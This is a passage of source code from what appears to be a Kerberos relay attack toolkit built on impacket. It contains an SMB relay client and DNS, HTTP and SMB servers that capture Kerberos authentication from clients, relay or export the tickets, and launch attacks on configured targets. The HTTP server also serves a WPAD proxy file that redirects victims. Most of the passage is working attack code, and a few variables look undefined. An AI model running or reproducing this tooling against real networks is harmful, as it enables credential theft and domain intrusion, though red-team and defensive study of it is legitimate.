ans.isValidAnswer(STATUS_SUCCESS): 112 | self._Session['SessionID'] = ans['SessionID'] 113 | self._Session['SigningRequired'] = False 114 | self._Session['Connection'] = self._NetBIOSSession.get_socket() 115 | self._Session['SigningKey'] = '' 116 | self._Session['SessionKey'] = '' 117 | self._Session['SigningActivated'] = False 118 | self._Session['CalculatePreAuthHash'] = False 119 | return True 120 | else: 121 | # We clean the stuff we used in case we want to authenticate again 122 | # within the same connection 123 | self._Session['UserCredentials'] = '' 124 | self._Session['Connection'] = 0 125 | self._Session['SessionID'] = 0 126 | self._Session['SigningRequired'] = False 127 | self._Session['SigningKey'] = '' 128 | self._Session['SessionKey'] = '' 129 | self._Session['SigningActivated'] = False 130 | self._Session['CalculatePreAuthHash'] = False 131 | self._Session['PreauthIntegrityHashValue'] = a2b_hex(b'0'*128) 132 | raise Exception('Unsuccessful Login') 133 | 134 | class SMBRelayClient(ProtocolClient): 135 | PLUGIN_NAME = "SMB" 136 | def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): 137 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 138 | self.extendedSecurity = extendedSecurity 139 | 140 | self.domainIp = None 141 | self.machineAccount = None 142 | self.machineHashes = None 143 | self.sessionData = {} 144 | 145 | self.keepAliveHits = 1 146 | 147 | def keepAlive(self): 148 | # SMB Keep Alive more or less every 5 minutes 149 | if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): 150 | # Time to send a packet 151 | # Just a tree connect / disconnect to avoid the session timeout 152 | tid = self.session.connectTree('IPC$') 153 | self.session.disconnectTree(tid) 154 | self.keepAliveHits = 1 155 | else: 156 | self.keepAliveHits +=1 157 | 158 | def killConnection(self): 159 | if self.session is not None: 160 | self.session.close() 161 | self.session = None 162 | 163 | def initConnection(self, authdata, kdc=None): 164 | self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) 165 | #,preferredDialect=SMB_DIALECT) 166 | if self.serverConfig.smb2support is True: 167 | data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' 168 | else: 169 | data = '\x02NT LM 0.12\x00' 170 | 171 | if self.extendedSecurity is True: 172 | flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 173 | else: 174 | flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 175 | try: 176 | packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, 177 | flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, 178 | flags2=flags2, data=data) 179 | except socketerror as e: 180 | if 'reset by peer' in str(e): 181 | if not self.serverConfig.smb2support: 182 | LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') 183 | else: 184 | LOG.error('SMBCLient error: Connection was reset') 185 | else: 186 | LOG.error('SMBCLient error: %s' % str(e)) 187 | return False 188 | if packet[0:1] == b'\xfe': 189 | smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) 190 | else: 191 | # Answer is SMB packet, sticking to SMBv1 192 | smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) 193 | 194 | try: 195 | smbClient.kerberos_apreq_login(authdata["krbauth"]) 196 | except (smb.SessionError, smb3.SessionError) as e: 197 | raise SessionError(e.get_error_code(), e.get_error_packet()) 198 | except KerberosError as e: 199 | raise e 200 | 201 | if smbClient.is_signing_required(): 202 | LOG.error("The Attack won't work, the target server enforce signing.") 203 | return False 204 | 205 | self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, 206 | existingConnection=smbClient, manualNegotiate=True) 207 | return True -------------------------------------------------------------------------------- /lib/servers/__init__.py: -------------------------------------------------------------------------------- 1 | from .httprelayserver import HTTPKrbRelayServer 2 | from .smbrelayserver import SMBRelayServer 3 | from .dnsrelayserver import DNSRelayServer -------------------------------------------------------------------------------- /lib/servers/dnsrelayserver.py: -------------------------------------------------------------------------------- 1 | import random, string 2 | import socket 3 | from struct import pack, unpack 4 | import sys, binascii 5 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID 6 | from impacket import ntlm 7 | from impacket import dns 8 | from socketserver import TCPServer, BaseRequestHandler, ThreadingMixIn 9 | from impacket.structure import Structure 10 | from dns.message import from_wire 11 | from impacket import ntlm, LOG 12 | from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile 13 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 14 | from lib.utils.kerberos import get_kerberos_loot, get_auth_data 15 | 16 | from threading import Thread 17 | 18 | 19 | class DNSRelayServer(Thread): 20 | class DNSServer(ThreadingMixIn, TCPServer): 21 | def __init__(self, server_address, request_handler_class, config): 22 | self.config = config 23 | self.daemon_threads = True 24 | if self.config.ipv6: 25 | self.address_family = socket.AF_INET6 26 | self.wpad_counters = {} 27 | try: 28 | TCPServer.__init__(self, server_address, request_handler_class) 29 | except OSError as e: 30 | if "already in use" in str(e): 31 | LOG.error('Could not start DNS server. Address is already in use. To fix this error, specify the interface IP to listen on with --interface-ip') 32 | else: 33 | LOG.error('Could not start DNS server: %s', str(e)) 34 | raise e 35 | 36 | class DnsReqHandler(BaseRequestHandler): 37 | def handle(self): 38 | data = self.request.recv(1024) 39 | dlen, = unpack('>H', data[:2]) 40 | while dlen > len(data[2:]): 41 | data += self.request.recv(1024) 42 | dnsp = data[2:dlen+2] 43 | LOG.info('DNS: Client sent authorization') 44 | pckt = from_wire(dnsp) 45 | LOG.debug(str(pckt)) 46 | nti = None 47 | for rd in pckt.additional[0]: 48 | nti = rd.key 49 | if not nti: 50 | return 51 | 52 | if self.server.config.mode == 'RELAY': 53 | authdata = get_auth_data(nti, self.server.config) 54 | self.do_relay(authdata) 55 | else: 56 | # Unconstrained delegation mode 57 | authdata = get_kerberos_loot(token, self.server.config) 58 | self.do_attack(authdata) 59 | 60 | def do_relay(self, authdata): 61 | self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) 62 | sclass, host = authdata['service'].split('/') 63 | for target in self.server.config.target.originalTargets: 64 | parsed_target = target 65 | if parsed_target.hostname.lower() == host.lower(): 66 | # Found a target with the same SPN 67 | client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target) 68 | client.initConnection(authdata, self.server.config.dcip) 69 | # We have an attack.. go for it 70 | attack = self.server.config.attacks[parsed_target.scheme.upper()] 71 | client_thread = attack(self.server.config, client.session, self.authUser) 72 | client_thread.start() 73 | return 74 | # Still here? Then no target was found matching this SPN 75 | LOG.error('No target configured that matches the hostname of the SPN in the ticket: %s', parsed_target.host.lower()) 76 | 77 | def do_attack(self, authdata): 78 | self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) 79 | # No SOCKS, since socks is pointless when you can just export the tickets 80 | # instead we iterate over all the targets 81 | for target in self.server.config.target.originalTargets: 82 | parsed_target = target 83 | if parsed_target.scheme.upper() in self.server.config.attacks: 84 | client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target) 85 | client.initConnection(authdata, self.server.config.dcip) 86 | # We have an attack.. go for it 87 | attack = self.server.config.attacks[parsed_target.scheme.upper()] 88 | client_thread = attack(self.server.config, client.session, self.authUser) 89 | client_thread.start() 90 | else: 91 | LOG.error('No attack configured for %s', parsed_target.scheme.upper()) 92 | 93 | def __init__(self, config): 94 | Thread.__init__(self) 95 | self.daemon = True 96 | self.config = config 97 | self.server = None 98 | 99 | def _start(self): 100 | self.server.daemon_threads=True 101 | self.server.serve_forever() 102 | LOG.info('Shutting down DNS Server') 103 | self.server.server_close() 104 | 105 | def run(self): 106 | LOG.info("Setting up DNS Server") 107 | self.server = self.DNSServer((self.config.interfaceIp, 53), self.DnsReqHandler, self.config) 108 | self._start() -------------------------------------------------------------------------------- /lib/servers/httprelayserver.py: -------------------------------------------------------------------------------- 1 | try: 2 | import SimpleHTTPServer 3 | import SocketServer 4 | except ImportError: 5 | import http.server as SimpleHTTPServer 6 | import socketserver as SocketServer 7 | import socket 8 | import base64 9 | import random 10 | import string 11 | import traceback 12 | from threading import Thread 13 | from six import PY2, b 14 | 15 | from impacket import ntlm, LOG 16 | from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile 17 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 18 | from impacket.examples.ntlmrelayx.servers import HTTPRelayServer 19 | from lib.utils.kerberos import get_kerberos_loot, get_auth_data 20 | 21 | class HTTPKrbRelayServer(HTTPRelayServer): 22 | """ 23 | HTTP Kerberos relay server. Mostly extended from ntlmrelayx. 24 | Only required functions are overloaded 25 | """ 26 | 27 | class HTTPHandler(HTTPRelayServer.HTTPHandler): 28 | def __init__(self,request, client_address, server): 29 | self.server = server 30 | self.protocol_version = 'HTTP/1.1' 31 | self.challengeMessage = None 32 | self.client = None 33 | self.machineAccount = None 34 | self.machineHashes = None 35 | self.domainIp = None 36 | self.authUser = None 37 | self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ' 38 | LOG.info("HTTPD: Received connection from %s, prompting for authentication", client_address[0]) 39 | try: 40 | SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) 41 | except Exception as e: 42 | LOG.error(str(e)) 43 | LOG.debug(traceback.format_exc()) 44 | 45 | def getheader(self, header): 46 | try: 47 | return self.headers.getheader(header) 48 | except AttributeError: 49 | return self.headers.get(header) 50 | 51 | def do_PROPFIND(self): 52 | proxy = False 53 | if (".jpg" in self.path) or (".JPG" in self.path): 54 | content = b"""http://webdavrelay/file/image.JPG/2016-11-12T22:00:22Zimage.JPG4456image/jpeg4ebabfcee4364434dacb043986abfffeMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" 55 | else: 56 | content = b"""http://webdavrelay/file/2016-11-12T22:00:22ZaMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" 57 | 58 | messageType = 0 59 | if PY2: 60 | autorizationHeader = self.headers.getheader('Authorization') 61 | else: 62 | autorizationHeader = self.headers.get('Authorization') 63 | if autorizationHeader is None: 64 | self.do_AUTHHEAD(message=b'Negotiate') 65 | return 66 | else: 67 | auth_header = autorizationHeader 68 | try: 69 | _, blob = auth_header.split('Negotiate') 70 | token = base64.b64decode(blob.strip()) 71 | except: 72 | self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) 73 | return 74 | 75 | if b'NTLMSSP' in token: 76 | LOG.info('HTTPD: Client %s is using NTLM authentication instead of Kerberos' % self.client_address[0]) 77 | return 78 | 79 | if self.server.config.mode == 'ATTACK': 80 | # Are we in attack mode? If so, launch attack against all targets 81 | # If you're looking for the magic, it's in lib/utils/kerberos.py 82 | authdata = get_kerberos_loot(token, self.server.config) 83 | # If we are here, it was succesful 84 | self.do_attack(authdata) 85 | 86 | if self.server.config.mode == 'RELAY': 87 | # If you're looking for the magic, it's in lib/utils/kerberos.py 88 | authdata = get_auth_data(token, self.server.config) 89 | self.do_relay(authdata) 90 | 91 | 92 | self.send_response(207, "Multi-Status") 93 | self.send_header('Content-Type', 'application/xml') 94 | self.send_header('Content-Length', str(len(content))) 95 | self.end_headers() 96 | self.wfile.write(content) 97 | 98 | def do_GET(self): 99 | messageType = 0 100 | if self.server.config.mode == 'REDIRECT': 101 | self.do_SMBREDIRECT() 102 | return 103 | 104 | LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) 105 | 106 | # Serve WPAD if: 107 | # - The client requests it 108 | # - A WPAD host was provided in the command line options 109 | # - The client has not exceeded the wpad_auth_num threshold yet 110 | if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): 111 | LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) 112 | self.serve_wpad() 113 | return 114 | 115 | # Determine if the user is connecting to our server directly or attempts to use it as a proxy 116 | if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): 117 | proxy = True 118 | else: 119 | proxy = False 120 | 121 | # TODO: Handle authentication that isn't complete the first time 122 | 123 | if (proxy and self.getheader('Proxy-Authorization') is None) or (not proxy and self.getheader('Authorization') is None): 124 | self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) 125 | return 126 | else: 127 | if proxy: 128 | auth_header = self.getheader('Proxy-Authorization') 129 | else: 130 | auth_header = self.getheader('Authorization') 131 | 132 | try: 133 | _, blob = auth_header.split('Negotiate') 134 | token = base64.b64decode(blob.strip()) 135 | except: 136 | self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy) 137 | return 138 | if b'NTLMSSP' in token: 139 | LOG.info('HTTPD: Client %s is using NTLM authentication instead of Kerberos' % self.client_address[0]) 140 | return 141 | 142 | if self.server.config.mode == 'ATTACK': 143 | # Are we in attack mode? If so, launch attack against all targets 144 | # If you're looking for the magic, it's in lib/utils/kerberos.py 145 | authdata = get_kerberos_loot(token, self.server.config) 146 | # If we are here, it was succesful 147 | self.do_attack(authdata) 148 | 149 | if self.server.config.mode == 'RELAY': 150 | # If you're looking for the magic, it's in lib/utils/kerberos.py 151 | authdata = get_auth_data(token, self.server.config) 152 | self.do_relay(authdata) 153 | 154 | # And answer 404 not found 155 | self.send_response(404) 156 | self.send_header('WWW-Authenticate', 'Negotiate') 157 | self.send_header('Content-type', 'text/html') 158 | self.send_header('Content-Length','0') 159 | self.send_header('Connection','close') 160 | self.end_headers() 161 | return 162 | 163 | def do_attack(self, authdata): 164 | self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) 165 | # No SOCKS, since socks is pointless when you can just export the tickets 166 | # instead we iterate over all the targets 167 | for target in self.server.config.target.originalTargets: 168 | parsed_target = target 169 | if parsed_target.scheme.upper() in self.server.config.attacks: 170 | client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target) 171 | client.initConnection(authdata, self.server.config.dcip) 172 | # We have an attack.. go for it 173 | attack = self.server.config.attacks[parsed_target.scheme.upper()] 174 | client_thread = attack(self.server.config, client.session, self.authUser) 175 | client_thread.start() 176 | else: 177 | LOG.error('No attack configured for %s', parsed_target.scheme.upper()) 178 | 179 | def do_relay(self, authdata): 180 | self.authUser = '%s/%s' % (authdata['domain'], authdata['username']) 181 | sclass, host = authdata['service'].split('/') 182 | for target in self.server.config.target.originalTargets: 183 | parsed_target = target 184 | if host.lower() in parsed_target.hostname.lower(): 185 | # Found a target with the same SPN 186 | client = self.server.config.protocolClients[target.scheme.upper()](self.server.config, parsed_target) 187 | if not client.initConnection(authdata, self.server.config.dcip): 188 | return 189 | # We have an attack.. go for it 190 | attack = self.server.config.attacks[parsed_target.scheme.upper()] 191 | client_thread = attack(self.server.config, client.session, self.authUser) 192 | client_thread.start() 193 | return 194 | # Still here? Then no target was found matching this SPN 195 | LOG.error('No target configured that matches the hostname of the SPN in the ticket: %s', parsed_target.netloc.lower()) -------------------------------------------------------------------------------- /lib/servers/smbrelayserver.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMB Relay Server 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # This is the SMB server which relays the connections 15 | # to other protocols 16 | from __future__ import division 17 | from __future__ import print_function 18 | from six import b 19 | from threading import Thread 20 | try: 21 | import ConfigParser 22 | except ImportError: 23 | import configparser as ConfigParser 24 | import struct 25 | import logging 26 | import time 27 | import calendar 28 | import random 29 | import string 30 | import socket 31 | 32 | from binascii import hexlify 33 | from impacket import smb, ntlm, LOG, smb3 34 | from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS 35 | from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit 36 | from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile 37 | from impacket.spnego import ASN1_AID, ASN1_SUPPORTED_MECH 38 | from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 39 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 40 | from impacket.smbserver import getFileTime 41 | from pyasn1.codec.der import decoder, encoder 42 | from lib.utils.kerberos import get_kerberos_loot, get_auth_data 43 | from lib.utils.spnego import GSSAPIHeader_SPNEGO_Init2, GSSAPIHeader_SPNEGO_Init, MechTypes, MechType, TypesMech, NegTokenResp, NegResult, NegotiationToken 44 | 45 | class SMBRelayServer(Thread): 46 | def __init__(self,config): 47 | Thread.__init__(self) 48 | self.daemon = True 49 | self.server = 0 50 | #Config object 51 | self.config = config 52 | #Current target IP 53 | self.target = None 54 | #Targets handler 55 | self.targetprocessor = self.config.target 56 | #Username we auth as gets stored here later 57 | self.authUser = None 58 | self.proxyTranslator = None 59 | 60 | # Here we write a mini config for the server 61 | smbConfig = ConfigParser.ConfigParser() 62 | smbConfig.add_section('global') 63 | smbConfig.set('global','server_name','server_name') 64 | smbConfig.set('global','server_os','UNIX') 65 | smbConfig.set('global','server_domain','WORKGROUP') 66 | smbConfig.set('global','log_file','None') 67 | smbConfig.set('global','credentials_file','') 68 | 69 | if self.config.smb2support is True: 70 | smbConfig.set("global", "SMB2Support", "True") 71 | else: 72 | smbConfig.set("global", "SMB2Support", "False") 73 | 74 | if self.config.outputFile is not None: 75 | smbConfig.set('global','jtr_dump_path',self.config.outputFile) 76 | 77 | # IPC always needed 78 | smbConfig.add_section('IPC$') 79 | smbConfig.set('IPC$','comment','') 80 | smbConfig.set('IPC$','read only','yes') 81 | smbConfig.set('IPC$','share type','3') 82 | smbConfig.set('IPC$','path','') 83 | 84 | # Change address_family to IPv6 if this is configured 85 | if self.config.ipv6: 86 | SMBSERVER.address_family = socket.AF_INET6 87 | 88 | # changed to dereference configuration interfaceIp 89 | self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig) 90 | logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) 91 | 92 | self.server.processConfigFile() 93 | 94 | self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) 95 | self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) 96 | 97 | self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate) 98 | self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) 99 | # Let's use the SMBServer Connection dictionary to keep track of our client connections as well 100 | #TODO: See if this is the best way to accomplish this 101 | 102 | # changed to dereference configuration interfaceIp 103 | self.server.addConnection('SMBRelay', config.interfaceIp, 445) 104 | 105 | ### SMBv2 Part ################################################################# 106 | def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): 107 | connData = smbServer.getConnectionData(connId, checkStatus=False) 108 | 109 | 110 | LOG.info("SMBD: Received connection from %s" % (connData['ClientIP'])) 111 | 112 | respPacket = smb3.SMB2Packet() 113 | respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR 114 | respPacket['Status'] = STATUS_SUCCESS 115 | respPacket['CreditRequestResponse'] = 1 116 | respPacket['Command'] = smb3.SMB2_NEGOTIATE 117 | respPacket['SessionID'] = 0 118 | 119 | if isSMB1 is False: 120 | respPacket['MessageID'] = recvPacket['MessageID'] 121 | else: 122 | respPacket['MessageID'] = 0 123 | 124 | respPacket['TreeID'] = 0 125 | 126 | respSMBCommand = smb3.SMB2Negotiate_Response() 127 | 128 | # Just for the Nego Packet, then disable it 129 | respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED 130 | 131 | if isSMB1 is True: 132 | # Let's first parse the packet to see if the client supports SMB2 133 | SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) 134 | 135 | dialects = SMBCommand['Data'].split(b'\x02') 136 | if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: 137 | respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 138 | #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 139 | else: 140 | # Client does not support SMB2 fallbacking 141 | raise Exception('Client does not support SMB2, fallbacking') 142 | else: 143 | respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 144 | #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 145 | 146 | respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)])) 147 | respSMBCommand['Capabilities'] = 0 148 | respSMBCommand['MaxTransactSize'] = 65536 149 | respSMBCommand['MaxReadSize'] = 65536 150 | respSMBCommand['MaxWriteSize'] = 65536 151 | respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) 152 | respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) 153 | respSMBCommand['SecurityBufferOffset'] = 0x80 154 | 155 | blob = GSSAPIHeader_SPNEGO_Init2() 156 | blob['tokenOid'] = '1.3.6.1.5.5.2' 157 | blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']), 158 | MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']), 159 | MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])]) 160 | blob['innerContextToken']['negHints']['hintName'] = "not_defined_in_RFC4178@please_ignore" 161 | respSMBCommand['Buffer'] = encoder.encode(blob) 162 | 163 | respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) 164 | 165 | respPacket['Data'] = respSMBCommand 166 | 167 | smbServer.setConnectionData(connId, connData) 168 | 169 | return None, [respPacket], STATUS_SUCCESS 170 | 171 | # This is SMB2 172 | def SmbSessionSetup(self, connId, smbServer, recvPacket): 173 | connData = smbServer.getConnectionData(connId, checkStatus = False) 174 | ############################################################# 175 | # SMBRelay 176 | smbData = smbServer.getConnectionData('SMBRelay', False) 177 | ############################################################# 178 | 179 | respSMBCommand = smb3.SMB2SessionSetup_Response() 180 | sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) 181 | 182 | connData['Capabilities'] = sessionSetupData['Capabilities'] 183 | 184 | securityBlob = sessionSetupData['Buffer'] 185 | 186 | rawNTLM = False 187 | if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: 188 | 189 | # negTokenInit packet 190 | try: 191 | blob = decoder.decode(securityBlob, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] 192 | token = blob['innerContextToken']['negTokenInit']['mechToken'] 193 | 194 | if len(blob['innerContextToken']['negTokenInit']['mechTypes']) > 0: 195 | # Is this GSSAPI NTLM or something else we don't support? 196 | mechType = blob['innerContextToken']['negTokenInit']['mechTypes'][0] 197 | if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \ 198 | TypesMech['MS KRB5 - Microsoft Kerberos 5']: 199 | # Nope, do we know it? 200 | if str(mechType) in MechTypes: 201 | mechStr = MechTypes[str(mechType)] 202 | else: 203 | mechStr = mechType 204 | smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) 205 | # We don't know the token, we answer back again saying 206 | # we just support Kerberos. 207 | respToken = NegotiationToken() 208 | respToken['negTokenResp']['negResult'] = 'request_mic' 209 | respToken['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5'] 210 | respTokenData = encoder.encode(respToken) 211 | respSMBCommand['SecurityBufferOffset'] = 0x48 212 | respSMBCommand['SecurityBufferLength'] = len(respTokenData) 213 | respSMBCommand['Buffer'] = respTokenData 214 | 215 | return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED 216 | else: 217 | 218 | # This is Kerberos, we can do something with this 219 | try: 220 | if self.config.mode == 'EXPORT': 221 | authdata = get_kerberos_loot(securityBlob, self.config) 222 | 223 | # Are we in attack mode? If so, launch attack against all targets 224 | if self.config.mode == 'ATTACK': 225 | # If you're looking for the magic, it's in lib/utils/kerberos.py 226 | authdata = get_kerberos_loot(securityBlob, self.config) 227 | self.do_attack(authdata) 228 | 229 | if self.config.mode == 'RELAY': 230 | authdata = get_auth_data(securityBlob, self.config) 231 | self.do_relay(authdata) 232 | 233 | # This ignores all signing stuff 234 | # causes connection resets 235 | # Todo: reply properly! 236 | 237 | respToken = NegotiationToken() 238 | # accept-completed 239 | respToken['negTokenResp']['negResult'] = 'accept_completed' 240 | 241 | respSMBCommand['SecurityBufferOffset'] = 0x48 242 | respSMBCommand['SecurityBufferLength'] = len(respToken) 243 | respSMBCommand['Buffer'] = encoder.encode(respToken) 244 | 245 | smbServer.setConnectionData(connId, connData) 246 | 247 | return [respSMBCommand], None, STATUS_SUCCESS 248 | 249 | # Somehow the function above catches all exceptions and hides them 250 | # which is pretty annoying 251 | except Exception as e: 252 | import traceback 253 | traceback.print_exc() 254 | raise 255 | 256 | pass 257 | except: 258 | import traceback 259 | traceback.print_exc() 260 | else: 261 | # No GSSAPI stuff, we can't do anything with this 262 | smbServer.log("No negTokenInit sent by client", logging.CRITICAL) 263 | raise Exception('No negTokenInit sent by client') 264 | 265 | respSMBCommand['SecurityBufferOffset'] = 0x48 266 | respSMBCommand['SecurityBufferLength'] = len(respToken) 267 | respSMBCommand['Buffer'] = respToken.getData() 268 | 269 | smbServer.setConnectionData(connId, connData) 270 | 271 | return [respSMBCommand], None, errorCode 272 | ################################################################################ 273 | 274 | ### SMBv1 Part ################################################################# 275 | def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): 276 | connData = smbServer.getConnectionData(connId, checkStatus = False) 277 | if self.config.mode.upper() == 'REFLECTION': 278 | self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) 279 | 280 | #TODO: Check if a cache is better because there is no way to know which target was selected for this victim 281 | # except for relying on the targetprocessor selecting the same target unless a relay was already done 282 | self.target = self.targetprocessor.getTarget() 283 | 284 | ############################################################# 285 | # SMBRelay 286 | # Get the data for all connections 287 | smbData = smbServer.getConnectionData('SMBRelay', False) 288 | 289 | if smbData.has_key(self.target): 290 | # Remove the previous connection and use the last one 291 | smbClient = smbData[self.target]['SMBClient'] 292 | del smbClient 293 | del smbData[self.target] 294 | 295 | LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc)) 296 | 297 | try: 298 | if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: 299 | extSec = False 300 | else: 301 | if self.config.mode.upper() == 'REFLECTION': 302 | # Force standard security when doing reflection 303 | LOG.debug("Downgrading to standard security") 304 | extSec = False 305 | recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 306 | else: 307 | extSec = True 308 | 309 | #Init the correct client for our target 310 | client = self.init_client(extSec) 311 | except Exception as e: 312 | LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 313 | self.targetprocessor.logTarget(self.target) 314 | else: 315 | smbData[self.target] = {} 316 | smbData[self.target]['SMBClient'] = client 317 | connData['EncryptionKey'] = client.getStandardSecurityChallenge() 318 | smbServer.setConnectionData('SMBRelay', smbData) 319 | smbServer.setConnectionData(connId, connData) 320 | 321 | return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) 322 | ############################################################# 323 | 324 | def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): 325 | 326 | connData = smbServer.getConnectionData(connId, checkStatus = False) 327 | ############################################################# 328 | # SMBRelay 329 | smbData = smbServer.getConnectionData('SMBRelay', False) 330 | ############################################################# 331 | 332 | respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 333 | 334 | if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: 335 | # Extended security. Here we deal with all SPNEGO stuff 336 | respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() 337 | respData = smb.SMBSessionSetupAndX_Extended_Response_Data() 338 | sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) 339 | sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() 340 | sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] 341 | sessionSetupData.fromString(SMBCommand['Data']) 342 | connData['Capabilities'] = sessionSetupParameters['Capabilities'] 343 | 344 | if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: 345 | # If there no GSSAPI ID, it must be an AUTH packet 346 | blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) 347 | token = blob['ResponseToken'] 348 | else: 349 | # NEGOTIATE packet 350 | blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) 351 | token = blob['MechToken'] 352 | 353 | # Here we only handle NTLMSSP, depending on what stage of the 354 | # authentication we are, we act on it 355 | messageType = struct.unpack('> 16 427 | packet['ErrorClass'] = errorCode & 0xff 428 | 429 | LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( 430 | self.target.scheme, self.target.netloc, 